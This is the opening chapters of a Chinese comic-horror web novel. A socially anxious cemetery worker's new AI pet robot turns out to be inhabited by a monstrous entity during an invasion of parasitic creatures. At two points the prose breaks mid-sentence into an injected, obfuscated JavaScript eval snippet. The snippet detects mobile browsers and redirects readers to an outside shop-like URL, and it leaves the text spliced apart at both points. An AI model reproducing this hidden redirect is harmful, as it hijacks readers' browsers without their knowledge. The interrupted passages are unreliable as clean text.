《阴郁社恐被人外团宠后》 1. 重度社恐 (1) 安浔死死盯着眼前的屏幕,以保持精神上的镇定。 他敲动键盘的指尖微微发抖,在excel表格上输入的文字屡屡出错,他不得不按下删除键重新输入。 “快点啊,打几个字这么费劲吗?”前面传来不耐烦的催促声。 “好、好的。”安浔深吸了一口气。 他紧张极了。 今天同事临时不在,八百年卖不出一块的墓地刚好在这天被一位客户大手一挥直接买下。而唯一留在墓园的工作人员——也就是安浔,现在不得不负责和客户沟通,顺带登记信息。 但问题就在这。 安浔,是个重度社恐。 进入社会后,为了让自己能活下去,安浔搜揽了无数就业岗位,终于大海捞针成功找到了一份适合自己的工作。 远离市区、山水环抱、邻里和睦、岁月静好的社区管理岗位——墓地管理员! 安浔对这份工作很满意。 除了部分节假日外,平时工作很清闲。一年三百六十五天,有三百多天都见不到活人,简直社恐狂喜! 但偏偏就是今天。 一个平平无奇的星期三,居然来了客户要买墓地,而负责对接的同事刚好不在。事已至此,安浔只能硬着头皮上了。 社恐发作,安浔手抖的宛如帕金森患者。在第11次尝试后,他终于打对了客户的名字。 连急躁的客户都疑惑起来:“我这名不是生僻字吧?找这么半天?” 安浔肩膀一缩。 他想说电脑不是他的,自己的手不太认这块键盘,打字费劲。结果却不小心脱口:“不……不认字。” 客户:“。” 安浔:“……” 安浔顿时汗如雨下。 他认为自己应该说点什么,头却不自觉地向下埋得更低,慌张间瞥向下一个选项,连忙道:“性别?” 客户一愣,大着嗓门反问:“……就我这糙动静,你听不出来?” 几秒后,客户又像反应过来什么似的,怜悯且耐心地回复:“男。田下面加个力。” 安浔:“……谢谢。” 然后默默在“男”后面打了勾。 大概没什么人可以再丢了,后面的填写流程反而顺畅了不少。 安浔大汗淋漓地将打印好的单子交给了客户一份,“这、这样就行了,你……啊不不,您可以回去了,张先生。” 说这话时,安浔还是低头盯着地板,只瞥见客户的一角衣襟。 客户接过单子,随口嘟囔了句:“怎么一直不抬头啊。” 安浔判断,客户这是在表达不满。 对于他这种社恐来说,说“对不起”“抱歉”之类的早就是家常便饭了。难不倒他!这次一定可以说好的!! 然而话到嘴边,几个月没和同事以外的活人说过话的安浔,毫不意外地又嘴瓢了: “道歉——!!” 空旷的办公室响彻着安浔荡气回肠的一吼。客户目瞪口呆,连手里的单子都掉了。 几秒过后,客户小心翼翼的:“呃。对……对不起?” …… …… 五分钟后。 安浔终于把客户送走了。 他无力地瘫回办公椅。 看似还活着,实际人已经走了有一会了。 他在干什么啊! 居然说成让客户道歉,是不是疯了! 救命啊!! 救命啊救命啊救命啊—— 要不现在就死掉算了!死掉吧,没错!!出门右转两公里就是火葬场,烧完直接拉回来,还能享受员工福利挑个犄角旮旯免费下葬!! 如果此时有人查看监控,会发现空旷的办公室中,一名年轻男子正在无声嘶吼,并将自己拧巴成一条长蛆,阴暗地满地乱爬。很像突发恶疾。 这种事,发生在墓园,就很恐怖。 安浔爬累了,坐回原位喝了口水,越想越气。 不行。 他无法再忍受这样的自己了。无论如何,他一定要想办法治好社恐!! 趁还没冷静下来,安浔立刻用小程序预约了心理医生,时间就在今天下午,他下班之后赶过去刚刚好。 后续的工作进展很顺利。 下午四点,安浔依照惯例洒扫了自己负责的区域,确认一切无误后锁上了墓园大门,骑着小电驴去往了预约医院。 然而真到医院门口,安浔又打起了退堂鼓。 他其实很早就知道,自己如此严重的社恐一定属于某种疾病,但还是迟迟不肯就医。 原因无他——因为他社恐啊! 人。 人!! 好多人啊!!! 安浔站在入口,望着鱼贯而入的人群,内心的警钟疯狂敲响。 “喂,你进不进啊?别堵门口。”身后传来他其他人不满的敦促。 “哦,好的好的,不好意思。” 习惯性道歉后,安浔才反应过来自己已经走到了安检口。 安浔:“。” 完啦。 要、要转身吗? 现在回头走出去会不会显得很可疑啊,救命啊! 大概是犹豫的时间太长,安检口的安保大爷朝他投来了异样的目光,脸上明晃晃地写着:男人,你成功吸引了我的注意。 安浔:“……” 他两眼一闭,麻溜利索地将随身运动包放进安检机,一脸视死如归地穿过金属检测门。 算了。 来都来了…… 擎安市第七人民医院坐落在东七路街,毗邻城市近郊。 这是一家中小型规模的综合医院,离安浔的住所很近,但却是安浔第一次走进这里。他很是紧张地自助挂了号,又根据指示标牌前往了四楼心理科就诊。 四楼的右侧区域是心理科,幸运的是候诊区的人不算多,安浔挑了一个远离人群的座位,低头玩起手机。 戴着耳机刷视频时,通知栏突然跳出一则短信,是个快递取件通知。 ……快递? 安浔反应了一会快递是什么,眼前随之一亮。 他在候诊区没有等待太久,刚刷几个小视频的功夫,就听到了广播叫号: “请432号病人安浔,前往6号就诊室就诊——” 安浔站起身,避免和周围人的视线交汇,以接近奔跑的速度进入了就诊室。 就诊室内的医生姓林。 一位气质温婉的小姐姐,戴着无框眼镜,看起来斯文随和。 起初安浔还很紧绷,但在林医生温和的引导和鼓励下,总算磕磕绊绊地阐述起自己面临的问题。后头他又出去做了几个心理测试,拿着检验单子赶了回来。 林医生扫了一眼单子上的信息,追问道:“那你平时除了不敢和人面对面交流,很在意他人的看法外,还有什么其他困扰吗?” “有。”安浔叹气。 “我感觉我还有点……讨好型人格。比如,我租房里的wifi坏了,我发微.信想让房东维修,结果她一拖再拖,问就说自己忙。我也不敢再打扰她,结果这三个月流量花了我好几百……” 林医生若有所思地点点头。 她又问了些话,在键盘上敲敲打打,最后印出一张单子。 “你这种属于心理因素主导的社交恐惧症。但我看你和我交流没什么问题,情况不算严重。单子上给你开了点药,短期先吃着,能有效缓解焦虑。” 安浔一听,轻松了不少。 太好了,自己果然有病! 有病是好事啊,有病证明能治! “平时多鼓励自己参与社交,如果不知道怎么和人谈话,就从赞美他人开始,比如夸赞朋友的衣服好看,再追问是在哪里买的,谈话也就自然而然地进行下去了。对了——” 林医生话锋一转,冷笑道:“我最看不起这种黑心房东了!弟弟,你回去之后找房东说清楚wifi的事索要赔偿,如果对方坚持不维修,那就直接‘12315’‘12345’‘12366’,总有一个好使的。” 好有人情味的医生! 安浔感激道:“谢谢您!我还有最后一个问题……” 他有些不好意思地挠挠头,“就是……我前几天刚下单了一个AI宠物机器人,我可以用它作为练习说话的……对象吗?” 林医生微笑:“当然可以,用AI锻炼讲话,也有助于提升你的自信心。” 安浔又听林医生叮嘱了几句,然后道了别。 回一楼取药时,支付码一扫,险些以为手机让人黑了。 看病加做心理测试,大几百。买几盒药片,医保卡又扣一千。 安浔想起本月所剩无几的余额,不禁悲从中来,认为自己必须克服社恐的理由又多了一条。 安浔垂头丧气地出了医院。 当他站在小电驴边戴头盔时,远边的天幕,升起了异样的暗红—— 那并非落日,更像巨大的脓疮,如同呼吸般上下起伏着,张开了表层糜烂的疮口。 有什么液体滴落了下来。 混合着奇异的白线。 天空。 安浔呆滞地抬起头。 天空。 天空。 天空正在流血。 哗啦啦啦。 下雨啦。 哔———— 远边的街道,一台失控的轿车发出了高昂的鸣笛,车轮在沥青路上发出尖锐的摩擦声,接着“咣”地撞向一旁的灯柱。 安浔瞬间回过神。 那辆车在巨大的冲撞下变形,车尾窜起一团火焰。围观的人立刻赶去帮忙,将奄奄一息的司机从驾驶座的残骸间拖出。 还好人没事。 安浔收回视线。 “啊,下雨了……” 手指被淅沥沥的小水滴淋湿,安浔从后备箱掏出雨衣披在身上,骑上了小电驴。 天怎么这么快就黑了。 一会雨要下大了,赶紧回家,赶紧回家~ 小电驴朝着事故现场的反方向驶离。 远边,那名被救出的司机双目无神地瘫坐在地上,痴痴地笑着凝视天空。 “兄弟,你没事吧?边上就是医院,赶紧去看看?”旁边的好心人问。 司机低声嚅嗫了什么。 “啊?你说啥?”那好心人凑了过去。 “什么?……哦哦。”不知听到了什么,他仿佛茅塞顿开,一屁股坐到司机旁边,也抬头痴迷地望向天空。 周围又有人来问。 然后坐在了他身边。 询问。坐下。 询问。坐下。 询问。坐下…… 越来越多的人,并排坐在了暗红的天空下。 他们嘻嘻哈哈地笑着,手拉着手,欢颂起快乐的歌谣—— “天空。” “哗啦啦啦。” “下雨啦——” …… —————— 昏暗的房间,氤氲着潮湿的气息。 唯一散发着光芒的电视机发出诡异的沙沙声,屏幕上,是一则紧急播报新闻。 主持人脸色苍白,神情难掩恐惧,用近似发抖的声音说道: “现在插播一条紧急通知:202X年5月30日,我市遭遇大规模异常生物入侵。此类生物有别于以往历史中的任何物种,相关部门将其命名为‘蚀体’。经研究表明:它们具有高度破坏性和精神污染性,以多种生命形式存在……” 正对着电视的沙发上,瘫倒着一位年迈的女人。 她的脖子以近乎折断的角度歪斜在靠枕上,脸部遭逢窒息般充血胀大。 这是一具尸体。 老人生前,很像歪在沙发睡觉时,被什么东西杀死了。 地板上,一条形似水滴鱼的怪异生物, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569245|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正用圆鼓鼓的身体探向她的脚踝。苍老发皱的皮肤被“水滴鱼”撑起,它慢吞吞地将身体挤入皮下组织,沿着胫骨向上游动。 几秒钟后,老人身体触电般抽搐了一下,一个鲤鱼打挺——歪斜的身体瞬间坐正!很有精神! 一边的电视还在滋啦啦地播放着: “在此提醒广大观众:部分蚀体具备寄生能力,或存在侵蚀顶替他人的可能,请警惕身边的家人朋友是否存在异常情……啪。” 电视被关掉了。 老人丢下遥控器,嗅着空气中的气味,嘴角咧向耳根,笑得活泼开朗。 “好香,好香啊……有人来了……” 她站起身,晃晃悠悠地走向了玄关。 另一边。 安浔捧着刚从快递柜取出的包裹,走出电梯。 新邮到的快递,就是安浔前几天刷视频时激情下单的AI宠物机器人。 这款机器人类似办公桌桌宠,搭载了o3版本的ChatGPT。性格可以根据用户喜好进行设定,聪明不智障,主打一个陪伴和提供情绪价值。 对于安浔这种社恐星人,简直是再完美不过的聊天搭子! 廊道内很安静。 安浔一想到马上就能拆快递就止不住地激动,哼起愉快的小调并逐渐放飞自我,一蹦一跳地朝家门口走去。 然而在路过房东家时,安浔脚下一软。 安浔:“。” 好像有什么不对? 当然不对。 因为—— 房东家的门,是!开!着!的! 一位穿着睡衣的年迈女人,就直挺挺地往门框一站。存在感太强,根本无法忽视。 安浔:“……” 完了。 完了完了完了完了!!! 救命!! 救命啊啊啊啊啊!!! 他跟个二笔一样边哼歌边蹦跶的样子肯定被看见了!!! 安浔试图装瞎。 即将狗狗祟祟走开时,房东突然开口,犹如地狱的召唤:“小安呐——” 安浔闭上眼,感觉有一点死了。 他认命地转过身。 “……刘、刘姐。” 刘姐就是拖了他三个月也没修wifi的房东。 刘姐其实早退休了,年纪都够给他妈当妈的,但第一次见面就强调让安浔喊姐。 安浔低着头,完全不敢直视房东的脸。满脑子都在回放刚才的社死走马灯。 但如果他抬起头的话,就会看见及其惊悚的一幕—— 往日乖张的房东,如今兴奋地张开血盆大口,裂开的嘴巴能生生吞下他的整颗头颅! 好香…… 好香的饭…… 房东沉醉地嗅着空气中蓬勃的香味,口水从嘴角源源不断地涌出…… 就在房东即将吞掉那颗诱人的头时,对面的年轻人突然崩溃大吼:“对不起!!!请您忘记刚才看到的东西吧——!!” 话音落下,青年瞬间进行了一个超级无敌霹雳标准直角鞠躬! “咣”的一声! 青年恰好一头槌砸中了房东的脑袋! 房东:“?” 巨大的冲力令她向后坠去,连带她一手扶住的房门,也随之向后关合! 咚! 安浔直起身,却见房东老太刚好大门一关! “……?” 安浔无辜地眨了眨眼睛。 啊? 发生了什么?? “……刘姐?”他朝门口小声喊了句。 没有回应。 安浔等了一会,见一直没动静,只好礼貌说道:“刘姐?我先走了哦。” 安浔打开走廊另一端的防盗门。 关门脱鞋后干的第一件事,就是徒手拆快递。 嘿嘿。 桌宠,他的小桌宠…… 以后自己就有伴啦! 这款小桌宠有七种外观。 安浔有选择困难症,偏偏七种外观都很喜欢,最后就干脆下单了盲盒款,把选择交给命运。 然而拆开包装盒的时候,一对质地像果冻的猫耳朵,迫不及待地支棱了出来。 “嗯?”安浔将手伸进盒子,捧出了一个存钱罐大小的黑……黑紫色布丁。 安浔不知道该如何形容眼前的东西。 圆圆的一个球。 头上顶着两只小猫耳朵,没有脸,但有个努起的小猫嘴,后面衔着一条粗长的尾巴。 摸起来Q弹软滑的。 半透明的身体里还流转着细碎的光,像星空流麻。 这什么? 这个看着像黑大帅的“猫猫布丁”是什么! 安浔翻出说明书,上面印着机器人的全部款式。虽然有好几款小猫形象的,但没有一个能和眼前的东西对上号。 安浔的大脑loading了一会。 突然恍然大悟。 原来是这样! 隐藏款!一定是隐藏款!! 想不到他这个玩○神连吃过十三个大保底的终极无敌大非酋,有一天居然能抽到隐藏款! 安浔欣喜若狂地捏了捏眼前的黑莓星空猫猫布丁,不知是不是误触了开机键,猫猫布丁竟不安分地扭动起来,从他的手里跳了出去—— 布丁在地板上duangduang蹦跶了几下,弹跳力好的惊人,慢慢扭动着身子看向安浔。 小布丁说话了。 w型的小猫嘴一开一合,声音和安浔想象的很不一样。 那是一道听起来年轻、温和又充斥着磁性的男音: “你好。请问我可以吃掉你吗?” 突如其来的对话,令安浔身躯一震。他整个人瞬间紧张起来,社恐一触即发。 混乱间,什么“礼貌”“友善”“第一印象很重要”在他的大脑飞速旋转,最终汇集成了一句: “好……好的?” 2. 小猫布丁(修) (2) “好喔,你人真好。” 小布丁温声回应着。 下一秒,祂的身体毫无预兆地伸长数倍,从安浔的脚踝直逼前胸。 混沌的半固体被撕扯成怪异的形状,在墙壁投映下狰狞的阴影,仿佛有某种存在呼之欲出! 好香…… 祂在这个人类身上,嗅到了奇异的香味。那香味时刻引诱着祂的口腔分泌唾液,肚子随之发出咕噜咕噜的叫声。 “那我开动了~” 就在祂即将张开嘴,将美食一口吞下时,对面的人类突然两眼放光,发出一声惊奇的慨叹: “好……长!” “原来你可以这么长!” 安浔一把捧住小猫布丁,突然想起自己在网上刷到过的猫猫视频: 众所周知,猫是一种流体。从地板向上拔起,可以变成长长的猫条,就像被拉伸的弹簧。 这是什么神仙宠物机器人! 居然连这么可爱的设定也被融入其中。太细节了,活该销量那么高! 小布丁:“?” 它大概懵了,像被捏住后脖颈的猫,被安浔捧在手里晃荡了半天,才礼貌地说道: “你好,请不要摸我的肚子。” 安浔立刻停住。 对哦。 这是一款机器人,会说话的那种,不完全是小猫。 而且,听说一见面就摸小猫的肚子,无异于和人初见,就把手伸进对方的裤子…… “……”安浔老脸一红。 猫猫布丁被他抱起的瞬间,长长一条迅速缩水回存钱罐大小,弹性非常好。 安浔把小布丁放回地板上。 他双膝跪地,正襟危坐在小布丁的对面,整个人都冷静了。 安浔有点尴尬。 “那、那个,实在不好意思……因为你太可爱了,所以我没忍住摸了摸你。对不起!!……对了,你最开始和我说了什么来着?” 刚才猝不及防听见声音,安浔实在太紧张,压根没听清小布丁说了什么,只出于本能地一个劲喊“好”。 小布丁:“。” 小布丁:“没什么。” 安浔:“哦……” 安浔闭上嘴,不再吱声。 小布丁也一言不发地待在原地。虽然没有脸,但安浔总感觉对方在幽怨地盯着他。 时间被无限拉长。 额角冒出细密的汗珠,安浔感觉有点窒息,身体不受控制地颤抖起来。 救命。 好安静。 呃呃呃(痛苦)呜呜呜(扭曲)啊啊啊(变异)…… 气氛好微妙。 是不是应该做点什么? 作为一个社恐,安浔果断掏出手机,点开浏览器搜索:把宠物机器人惹怒该怎么办? 屏幕加载了好了一会,却跳出一行警告:网络出现问题,请检查网络连接。 安浔一愣,赶忙查看短信。 信箱里一连串的红点,他扒拉了半天,终于在广告和骚扰短信的汪洋中,找到一则话费余额通知。 果然,手机欠费了。 就因为家里连着三个月没有wifi,每天都在用流量,他这个月的话费彻底告罄,连手机都停机了。 安浔把手机丢到一边,紧张地深呼吸。 不是要治好社恐吗? 现在机会就摆在眼前!说点什么,随便什么都好!只要开口说话—— 说!! “你、你是机器人吗?” 此话一出,安浔恨不得甩自己一巴掌。 弱智吗! 这和指着一个人的鼻子问他“你是人吗”有什么区别!? 小布丁:“不是。” 嗯?不对。 哦,对的对的。 当然不是机器人,程序设定上,它肯定认为自己是一只猫猫呀! 好可爱。 救命!怎么会这么可爱…… 安浔深吸了几口气。 并用了平生最坚定的意志力,才克制住自己,不去伸手搓搓揉揉捏捏那团小猫布丁。 他继续问:“那你有名字吗?” “深渊。”小布丁回答。 ……深渊? 安浔的大脑加载了一会。 深渊→shēn yuān→伸冤。 在墓园工作久了,难免会被腌入味,联想到这种不吉利的谐音。 安浔弱弱道:“这、这名字谁起的啊?” “好多人。” 小布丁回忆着:“很久以前,他们观测到了我,于是根据我的能力和特性,进行了命名。” 好多人?观测? 噢。应该是指那些参与产品研发的团队,但是再怎么也不该起这种名字吧?简直恶意满满…… “这个名字,寓意不好。”安浔闷闷地说。 小布丁歪歪头,头顶的小猫耳朵跟着晃了晃,“这样呀?那叫什么好呢?” 安浔冥思苦想了起来。 激情下单机器人的时候,他根本没考虑那么多。他只是太孤独了,希望能有一个不那么厌恶他的伙伴,陪在他身边。 话又说回来。 这个猫猫布丁圆滚滚的一只……各种意义上的圆。 “要不就……小圆?圆满的圆。” 安浔偷瞄了一眼小布丁,小心翼翼的模样如同把方案初稿交给了甲方,坐等对方裁决生死。 “我都可以。” 他发现,小布丁的猫猫嘴似乎上翘了0.1个像素点。看来还算满意。 安浔紧绷的肩膀慢慢舒展。 “那、那欢迎你来到我家,我叫安浔。”安浔有些紧张,“从今天开始,你就在这里住下了……小圆。” 小圆停顿了一会。 祂抬头仰望安浔,分明没有眼睛,却像在玩味地自下而上审视着什么,微妙的笑意从嘴角蔓延。 “好喔。”祂一口应下。 …… ———— 晚饭时间,安浔随便糊弄了一口。 他饭量很一般,肠胃的性格随主人,随便装点东西就饱,不吃也不太叫唤,可能比较社恐。 安浔的房子不大。 基于社交困难,他直接pass了合租选项,整租了一套能负担起的老破小。一室一厅,地段偏僻,但胜在环境安静,骑车去上班只需要二十分钟。 此时,这个小家的新成员正蹦蹦跳跳地穿梭于每个房间,像在巡视自己的领地。 安浔随那小东西自己探索,吃饱饭后就瘫在了沙发上,习惯性地想玩手机。但屏幕刚解锁,一个惊天霹雳的认知就渗入大脑,犹如五雷轰顶—— 手机欠费了。 wifi也一直没修。 所以……他断网了! 这意味着,安浔无法接收任何来自外界的信息。 即使有什么领导同事给他发消息,他也有充分的理由不去回应。但是,他同样丧失了玩手机的乐趣。 安浔瞬间痛苦起来。 “你怎么了?” 小布丁刚好回到客厅,直接一跃而起蹦跶到沙发上,“愁眉苦脸的,这是人类在表达不开心的意思。你不开心吗?” 安浔并没有意识到这句话哪里奇怪。 “小圆……” 安浔一想到睡前没有手机玩,就更加痛苦了。他唉声叹气着:“家里的wifi坏好久了,看来在我交上话费之前,都没有网能用了。” “wifi?”布丁疑惑。 “一种无线局域网。简单来说,当连接上wifi后,手机就会变成人的快乐源泉。”安浔比划着。 “那你为什么不连?” 一提这个,安浔更愁了。 “因为坏掉了……需要房东修。” 今天给他看病的林医生说的很对。其实安浔自己也明白,刘姐只是不想给他修,否则不会一直拖出三个月。 可恶。 柿子专挑软的捏。 惹到他,算是踢到棉花了! “那很好办呀。”小圆理所当然地说,“去找房东修就好了。” 很好办? 哪里好办?? 果然,猫猫布丁不懂人与人之间复杂的弯弯绕绕。 安浔一脸生无可恋:“对我来说,简直……难如登天。” 刘姐本来就说话大声,可能还会对人进行口水攻击。就算他心一横找过去,可能也说不过刘姐,大概还会被羞辱一番…… 没关系啊。 被羞辱也没关系啊!最多就是回家睡觉睡一半突然坐起来扇自己一巴掌,再窝窝囊囊地把自己吊死在房间里啊哈哈哈。 小圆:“很难吗?我可以陪你去。” 安浔愣了愣。 到这里,他才惊觉这个圆溜溜的小布丁居然……有点帅? 因为声音吗? 是那种毫无人机感,年轻、温和、又带着少许笑意的男性声线。不知道为什么,感觉很可靠。 “所以,‘房东’是谁?” 安浔:“收租的。就在我家隔壁,离得很近。” “喔,隔壁啊——” 那道好听的声音被漫不经心地拖长。 小圆转身面向墙壁,嘴角不屑地勾起。 普通人类大概闻不到。 但从这面墙后方溢散来的鱼腥味,已经快要盈满整个房间了,很臭。 祂忍很久了。 …… ———— 两个小时后 安浔惴惴不安地出了门。 他趿拉着拖鞋进了走廊,在征求了小圆的意见后,才将小圆抱在怀里,以此汲取安全感。 小圆非常软,触感像小时常玩的史莱姆假水,一按一个坑,很快又会回弹成原样,超级解压。 但为了不让自己像个变.态,安浔克制住了伸手乱捏的冲动。 “真、真的吗?” “和房东辩论?我吗?”安浔哭丧着脸。 “没事喔~” 小布丁鼓励道:“你只管敲门问,不会出问题的。” 安浔站在了邻居家门前,心脏疯狂乱跳。 哈哈,真好笑。 怎么有人捧着个小猫布丁,就以为自己可以战胜全世界了? 但是,林医生说的很对。 他必须和房东沟通,维护自己的正当权益。否则问题无法解决,他只会被房东欺压一辈子。 最重要的是…… 人不能不上网啊!不玩手机,是会死掉的(暴言)! 安浔的手探向门铃,呼吸逐渐急促。 小圆灵活地攀到安浔肩头,软软一滩几乎贴着他的耳朵,只低声说了一个字: “按。” 像被那道声音蛊惑,安浔就这么鬼使神差地按下了门铃。 叮——咚—— 门开的很快,完全没给安浔反悔的余地。 只见一名身材臃肿、面色不善的老太,出现在安浔眼前。 总觉得刘姐有些陌生。 安浔花了几秒钟回忆刘姐的模样,却只能想到红绿大花睡衣、芭比粉拖鞋,还有常年不修长满黑斑的脚指甲。 安浔:“……” 完全没有和脸有关的记忆。 那没事了。 毕竟,他从来不敢正视刘姐的脸啊哈哈。 但是…… 安浔盯着眼前的人,视线止不住地飘忽,却完全无法忽略那几乎挤占了他所有余光的东西—— 头。 好大的头。 房东的头肿胀的像块发面馒头,有摊开的手抓饼那么大。 至于脸……肥大的鼻子,下垂的香肠嘴,皮肤油光锃亮仿佛刚泡过水,很像一条刚被捕捞上岸的水滴鱼。 刘姐见到他,眼里噌的冒出火。她正要说些什么,安浔却抢先了一步: “您今天的头真好看!” 刘姐:“?” 安浔:“。” “……”安浔快哭了。 他刚才实在太紧张,左右脑在互搏。 左脑:林医生的社交秘诀是一段对话从夸赞一个人开始。 右脑:哇,好大的头!哇,好大的头!哇,好大的头! 结果左右脑势均力敌,谁也没能占据上风,最后脱口的话变成了一半一半。 刘姐咬牙切齿道:“你、说、什、么!?” 安浔吓得直哆嗦。 他朝后退开半步,下意识地想要逃离。可肩膀上沉甸甸的重量,却在反复提醒他此行的目的,以及—— 他不是一个人。 安浔顿住身体。 喉咙冒出一阵酸意,躯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569246|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体强烈的抵触感令他想要呕吐。他颤抖着肩膀,强迫自己抬起头,咬咬牙一鼓作气: “很抱歉这么晚了还来打扰您休息但是您已经拖欠我三个月没修wifi了为此我话费连续超额了三个月那能吃多少盒泡面呢现在手机已经停机了我必须连上网络所以请您明天务必找人把wifi修了否则我只能采取其他手段解决问题了!” 说完了。 差、差点断气。 安浔低头大喘气,感觉今天起码贷款了未来一个星期的话。 刘姐显然被激怒了。 她脸颊涨红、目眦尽裂,仿佛下一秒就会扑过来将他生吞! 她愤怒地大吼:“你这个——!” “能做到吗?” 一道平淡的声音,不徐不疾地将她打断。 ——能·做·到·吗? 那一刻,刘姐瞪大了双眼。 静止。 微渺的浮尘滞于半空。 刘姐定在原地,如同石化的雕像。无形的手将她攥住,令她动弹不得,只需轻轻一捏,她就会被那股悬殊至极的力量彻底碾碎。 她惊恐地游移视线,却在瞥见年轻人肩头那不可名状之物时,爆发出尖锐的哀嚎—— 她的眼球被灼伤。 她的喉咙被割开。 她的骨骼被折断。 她的内脏被剖出。 她的魂灵被涤荡。 @*#*%*#%& 当你凝视深渊时, 深渊也在凝视你。 运动—— 微渺的浮尘悄然落地。 “能……做到。” 安浔惊喜地抬起头,看向房东。 不知为何。 刘姐变得很虚弱。 她头冒冷汗,扶着门框摇摇欲坠。虽说没什么大变化,却像经历了一场漫长的凌迟,脸上挂着劫后余生般的庆幸。 而且,身上还散发出一股沐浴露的香气,明明刚才没闻到。 安浔一瞥手机。 已经十点半了。 这个时间,老年人早就睡了,刘姐估计也是睡一半被他摇出来重睡的,肯定不怎么舒服。 “不、不好意思刘姐,您接着睡,我不打扰您了……” 安浔生出了一点点点愧疚,低头鞠躬,捧着小布丁跑走了。 直到安浔进了门,刘姐仍旧愣在原地。 她瞳孔震颤,止不住地发抖: “怎么会?” “那是……!” “为什么会出现在这里??” …… …… 安浔回了家。 他突然腰不酸了腿不痛了胃不难受了,直接跳到床上,举起圆滚滚的小布丁激动地欢呼。 成功了! 他居然成功了!!! 他不仅维护了自己的权益,还和过去根本不敢对话的人,进行了一次语言交锋!!! “你好开心的样子。”被他捧在掌心的小布丁声音平静,“因为可以玩手机了吗?” 当然不是。 好吧,也有一点……谁会拒绝玩手机呢? 但这次来之不易的成功,是小圆陪他争得的。 安浔抬起头,很认真地盯着被高高举起的小布丁。 “小圆。” “我其实更开心的是,你能来到我的身边。” 从今天开始,他就不是一个人了。 “说不定……” 安浔倒向柔软的床铺,满眼期待地望着天花板,轻声呢喃:“说不定,我真的可以……克服我的社恐。” “克服……社恐……” 吧唧。 安浔的手垂落下来,被举起的小猫布丁砸在了他的脸上。 重力使小猫布丁变成一滩黏稠的液体。 黏液在他的脸颊蛄蛹了几下,重新凝聚回圆鼓鼓的模样,悄声蹦跶到一旁。 “睡着了……” 小圆用粗长的尾巴戳了戳安浔的脸颊。 人类迷醉的香味扑鼻。 没有一丝犹豫,祂瞬间张大嘴巴,露出漆黑无垠的口腔。身体也随之延展,很快膨胀到整个房间都再难盛放,衣柜柜门被挤压的发出吱呀声响。 就在祂的嘴巴触碰到安浔时—— 砰。 小圆直接缩回存钱罐大小。 小圆:“?” 祂不信邪地再次膨胀,试图一口闷掉床上的人类。 砰。 又变回去了。 变大! 砰。 变大!! 砰。 变大变大变大!! 砰砰砰砰砰砰…… 小圆:“!!!” 小圆恼火地返回安浔身边,百思不得其解。“为什么碰到你,我的能力就停止发动了?” 提问当然没有得到解答。 祂别无他法,只能另辟蹊径,褪去自己临时征用的壳子。 吃饭还要脱衣服。 好奇怪喔…… 这团小布丁的头顶,突然溢出一片泥泞的液体。 至深的漆黑色在半空张牙舞爪,终于显露出伪装下的真容。 “小布丁”变成了一具冰冷的金属躯壳。 脱离了渗透在内部的存在,这不过是个造型普通的小猫机器人。 而空中的黑泥终于如愿以偿,肆意地舔舐起人类的身体。 “唔。” “……嗯。” 人类有点不适,无意识地发出呻.吟。 小圆没有停。 舌尖贪婪地划过人类细长的脖颈、白皙的脸颊、饱满的额头。 好甜。 好香。 连饥饿感都一扫而空。 “嗝。” 小圆:? ……吃饱了? “嗝嗝嗝——” 祂又连打几个饱嗝。 肚子鼓起,逐渐在下坠,几乎要将祂撑开。祂不得不缩回金属小猫壳里,重新变回软软的小布丁。 但打嗝没有停止。 “嗝嗝嗝嗝嗝嗝嗝……” 小圆:“????” 祂,深渊,现名小圆。 自诞生以来,即使再怎么乱吃饭都永远处于饥饿状态的S级蚀体。 吃?饱?了? 3. 已经死了(修) (3) 早上七点 生物钟自然敲响。 安浔从床上坐起,打着哈欠拉开窗帘。 清晨的阳光映入房间一角,玻璃上的水珠被照耀的透亮,雨后初晴的天空万里无云。 似乎昭告着,今天和昨天,没有任何区别。 “早上好喔~” 走出房间时,一道声音突兀地响起。 安浔循着声音低下头。 一个黑紫色的小猫布丁就站在他脚边,还很乖巧地歪了歪头。 对哦。差点忘了。 家里现在还多了一只机器人小猫。 救命,好可爱。 它甚至会主动打招呼。世间怎会有此等萌物! “早上好,小圆。” 安浔把小布丁抱起,放在沙发的软垫上,美滋滋地走向冰箱。 他翻出两块切片面包,丢进灶台上的面包机,设定好烘烤时间后又冲了一杯高钙牛奶。等面包加热的功夫,先去了卫生间洗漱。 七点三十分。 安浔准时吃完早饭,收拾好餐桌,背上小包站在门边换鞋。 小圆听见动静,一蹦一跳地出现在玄关。 “你要出门啦?” “是的,去上班。” 安浔点点头,想了一下又补充道:“下午五点我就回来了。今天刘姐应该会找师傅上门修wifi,到时陌生人来家里……你、不要害怕。” 安浔在网上看过很多分享宠物分离焦虑症的视频。 简单来说,就是主人离开家后,宠物会变得焦躁不安。如果不做好引导,这种症状还会不断加重。虽然小圆只是机器人,但他不想小圆孤零零地待在家里,不知要等上他多久。 毕竟安浔很清楚。 等待,是一件多么漫长又孤独的事。 “五点。唔……还挺久喔。” 小布丁沉思了一会,说道:“你弯下腰。” 安浔虽然疑惑,但是照做。 他刚弯下一点,那团圆溜溜的小布丁就duang地一下,直接跳到了他的肩膀上。 哇,好厉害。 连小猫的弹跳力也模拟了吗!之后会不会给他表演后空翻啊? 小布丁在他的肩膀上挪动着,软滑的身体灵活绕向他的脖子。 啾。 